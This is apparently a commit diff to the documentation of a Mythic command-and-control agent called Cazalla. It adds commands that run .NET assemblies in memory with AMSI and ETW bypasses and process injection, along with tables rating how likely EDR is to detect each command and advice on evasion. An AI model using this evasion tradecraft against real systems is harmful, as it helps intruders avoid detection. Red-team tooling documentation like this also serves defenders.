- GitHub: https://github.com/EricEsquivel/Inline-EA
|
||||
- Loads .NET assemblies directly into memory
|
||||
- Supports AMSI and ETW bypasses
|
||||
- Prevents assembly from exiting the process
|
||||
|
||||
### Bypass Options
|
||||
|
||||
- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process
|
||||
- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive)
|
||||
- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking
|
||||
|
||||
## Error Handling
|
||||
|
||||
The command handles various error scenarios:
|
||||
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
|
||||
- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
|
||||
- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
|
||||
- **Bypass Failure**: May fail silently if bypasses cannot be applied
|
||||
|
||||
## Related
|
||||
|
||||
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
|
||||
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
|
||||
- [Artifacts Support](../features.md#artifacts-support)
|
||||
|
||||
---
|
||||
|
||||
**Command Category:** Execution & Control
|
||||
**Requires Admin:** No
|
||||
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
|
||||
|
||||
@@ -153,6 +153,9 @@ Cazalla automatically reports artifacts created during command execution, allowi
|
||||
| Artifact Type | Commands | Description |
|
||||
|--------------|----------|-------------|
|
||||
| **Process Create** | `shell` | Command execution via cmd.exe |
|
||||
| **Process Create** | `inline_execute` | BOF execution in current process |
|
||||
| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
|
||||
| **Process Create** | `execute_assembly` | .NET assembly execution via process injection |
|
||||
| **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
|
||||
| **File Delete** | `rm` | File or directory deletion |
|
||||
| **File Read** | `download` | File download operations |
|
||||
|
||||
@@ -78,6 +78,7 @@ These commands are **highly detectable** and require careful consideration:
|
||||
| Command | Risk Level | Detection Likelihood | Alternatives |
|
||||
|---------|-----------|---------------------|--------------|
|
||||
| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
|
||||
| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution |
|
||||
| `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
|
||||
| `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
|
||||
| `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
|
||||
@@ -88,6 +89,8 @@ These commands have **moderate detection risk**:
|
||||
|
||||
| Command | Risk Level | Detection Likelihood | Notes |
|
||||
|---------|-----------|---------------------|-------|
|
||||
| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
|
||||
| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) |
|
||||
| `download` | MEDIUM | File access logging | Large files may trigger DLP |
|
||||
| `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
|
||||
| `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
|
||||
@@ -115,6 +118,9 @@ These commands have **low detection risk**:
|
||||
**Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
|
||||
|
||||
- **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
|
||||
- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored)
|
||||
- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
|
||||
- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
|
||||
- **Token Manipulation**: `steal_token` and `make_token` generate authentication events
|
||||
- **Memory Access**: Accessing LSASS memory triggers high-priority alerts
|
||||
- **API Hooking**: Keyloggers and screen capture use monitored APIs
|
||||
@@ -122,6 +128,8 @@ These commands have **low detection risk**:
|
||||
|
||||
**Mitigation Strategies:**
|
||||
- Use built-in Cazalla commands instead of `shell` when possible
|
||||
- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection)
|
||||
- Use `inline_execute` for BOFs when possible (no process creation)
|
||||
- Prefer `make_token` over `steal_token` when credentials are available
|
||||
- Avoid accessing LSASS or other critical system processes
|
||||
- Use keylogging only when absolutely necessary
|
||||
@@ -321,6 +329,23 @@ Built-in Cazalla commands:
|
||||
- **Detection**: Authentication event logging
|
||||
- **Best Practice**: Less detectable than `steal_token`, use when credentials available
|
||||
|
||||
### Code Execution Commands
|
||||
|
||||
#### `inline_execute`
|
||||
- **Risk**: MEDIUM
|
||||
- **Detection**: Memory allocation (executable pages), API calls (LoadLibraryA, GetProcAddress), symbol resolution
|
||||
- **Best Practice**: In-process execution reduces detection vectors compared to process spawning. Use for lightweight operations.
|
||||
|
||||
#### `inline_execute_assembly`
|
||||
- **Risk**: MEDIUM
|
||||
- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
|
||||
- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
|
||||
|
||||
#### `execute_assembly`
|
||||
- **Risk**: HIGH
|
||||
- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning
|
||||
- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques.
|
||||
|
||||
#### `rev2self`
|
||||
- **Risk**: LOW
|
||||
- **Detection**: Minimal
|
||||
|
||||
Reference in New Issue
Block a user